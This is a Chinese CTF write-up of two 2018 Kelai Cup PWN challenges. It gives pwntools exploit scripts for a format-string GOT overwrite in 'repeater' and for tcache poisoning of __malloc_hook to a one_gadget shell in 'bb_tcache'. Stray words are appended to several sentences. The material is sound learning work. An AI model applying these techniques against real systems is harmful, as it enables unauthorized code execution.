2018科來杯PWN復現(一)

題目附件:linux

https://pan.baidu.com/s/1_rwQCWIeII8zTQSdkTgPVwweb

提取碼: jpzxshell

感謝 CataLpa 師傅給的題目ubuntu

https://wzt.ac.cn/微信


repeater


32 位的程序,存在很明顯的格式化字符串漏洞編輯器



數一下偏移,第四個函數



有個 cat flag 的後門 0x8048616,可是有一個 number 限制,nubmer 要等於 8216 才行,能夠直接讓他執行 0x8048638 那一塊,那就覆寫 puts 函數的 got 表把ui


from pwn import *
context.log_level = 'DEBUG'
p = process("./repeater")
elf=ELF('./repeater')
puts_got=elf.got['puts']
p.recvuntil("your msg:")
payload = fmtstr_payload(4,{puts_got:0x8048638})
p.sendline(payload)
p.interactive()



bb_tcache


程序的邏輯挺簡單的,free 以後沒有置爲 NULLthis

另外還提供了 system 的地址,能夠直接拿來算 libc 的基址了url


from pwn import *
context.log_level = 'DEBUG'
p=process('bb_tcache')
elf=ELF('bb_tcache')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def alloc():
  p.sendlineafter("4. quit!\n","1")

def release():
  p.sendlineafter("4. quit!\n","2")

def fill(content):
  p.sendlineafter("4. quit!\n","3")
  p.sendafter("something.\n",content)

p.recvuntil("need this: ")
sys_addr = int(p.recvuntil('\n', drop=True).strip(), 16)
libc_base = sys_addr - libc.symbols["system"]
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0x10a45c
alloc()
release()
fill(p64(malloc_hook))
alloc()
alloc()
fill(p64(one_gadget))
alloc()
p.interactive()


首先 malloc 一個,free 以後再去編輯,編輯成 malloc_hook(tcache 不會對 size 進行檢查,因此能夠直接申請到 malloc_hook 這裏)

而後 malloc 兩次就申請到了 malloc_hook 那裏了,再去編輯就能夠把 malloc_hook 改成 one_gadget 的地址,這樣去 malloc 的時候就能夠拿到 shell



啊啊啊,好簡單的說

本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索